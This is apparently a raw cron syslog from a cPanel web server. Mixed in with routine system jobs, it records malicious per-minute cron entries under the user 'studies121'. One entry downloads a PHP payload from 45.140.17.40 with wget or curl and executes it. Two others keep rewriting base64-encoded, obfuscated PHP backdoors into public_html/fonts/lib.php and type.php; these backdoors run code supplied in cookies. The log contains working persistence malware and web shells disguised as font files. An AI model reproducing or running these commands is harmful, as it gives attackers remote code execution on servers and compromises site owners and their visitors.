Aug 30 18:56:01 ip-184-168-122-23 CROND[27380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:56:01 ip-184-168-122-23 CROND[27381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:57:01 ip-184-168-122-23 CROND[27558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:57:01 ip-184-168-122-23 CROND[27559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:57:01 ip-184-168-122-23 CROND[27560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:57:01 ip-184-168-122-23 CROND[27561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:58:01 ip-184-168-122-23 CROND[27649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:58:01 ip-184-168-122-23 CROND[27650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:58:01 ip-184-168-122-23 CROND[27648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:58:01 ip-184-168-122-23 CROND[27651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:58:01 ip-184-168-122-23 CROND[27652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:59:01 ip-184-168-122-23 CROND[27740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:59:01 ip-184-168-122-23 CROND[27743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:59:01 ip-184-168-122-23 CROND[27742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:59:01 ip-184-168-122-23 CROND[27744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:00:01 ip-184-168-122-23 CROND[27833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 19:00:01 ip-184-168-122-23 CROND[27840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:00:01 ip-184-168-122-23 CROND[27841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:00:01 ip-184-168-122-23 CROND[27844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:00:01 ip-184-168-122-23 CROND[27839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:00:01 ip-184-168-122-23 CROND[27848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:00:01 ip-184-168-122-23 CROND[27845]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:00:01 ip-184-168-122-23 CROND[27846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:01:01 ip-184-168-122-23 CROND[27955]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 19:01:01 ip-184-168-122-23 CROND[27959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:01:01 ip-184-168-122-23 CROND[27961]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 19:01:01 ip-184-168-122-23 CROND[27960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:01:01 ip-184-168-122-23 CROND[27958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27955]: starting 0anacron
Aug 30 19:01:01 ip-184-168-122-23 CROND[27963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27975]: finished 0anacron
Aug 30 19:02:01 ip-184-168-122-23 CROND[28155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:02:01 ip-184-168-122-23 CROND[28156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:02:01 ip-184-168-122-23 CROND[28158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:02:01 ip-184-168-122-23 CROND[28157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:02:01 ip-184-168-122-23 CROND[28160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:03:01 ip-184-168-122-23 CROND[28246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:03:01 ip-184-168-122-23 CROND[28248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:03:01 ip-184-168-122-23 CROND[28249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:03:01 ip-184-168-122-23 CROND[28250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:04:01 ip-184-168-122-23 CROND[28327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:04:01 ip-184-168-122-23 CROND[28329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:04:01 ip-184-168-122-23 CROND[28330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:04:01 ip-184-168-122-23 CROND[28332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:04:01 ip-184-168-122-23 CROND[28331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:05:01 ip-184-168-122-23 CROND[28447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:05:01 ip-184-168-122-23 CROND[28448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:05:01 ip-184-168-122-23 CROND[28450]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 19:05:02 ip-184-168-122-23 CROND[28454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:05:02 ip-184-168-122-23 CROND[28456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 19:05:02 ip-184-168-122-23 CROND[28455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:05:02 ip-184-168-122-23 CROND[28452]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 19:06:02 ip-184-168-122-23 CROND[28552]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:06:02 ip-184-168-122-23 CROND[28554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:06:02 ip-184-168-122-23 CROND[28555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:06:02 ip-184-168-122-23 CROND[28558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:06:02 ip-184-168-122-23 CROND[28559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:07:01 ip-184-168-122-23 CROND[28652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:07:01 ip-184-168-122-23 CROND[28654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:07:01 ip-184-168-122-23 CROND[28656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:07:01 ip-184-168-122-23 CROND[28653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:08:01 ip-184-168-122-23 CROND[28816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 19:08:01 ip-184-168-122-23 CROND[28818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 19:08:01 ip-184-168-122-23 CROND[28820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 19:08:01 ip-184-168-122-23 CROND[28819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 19:08:01 ip-184-168-122-23 CROND[28822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 19:09:01 ip-184-168-122-23 CROND[28904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
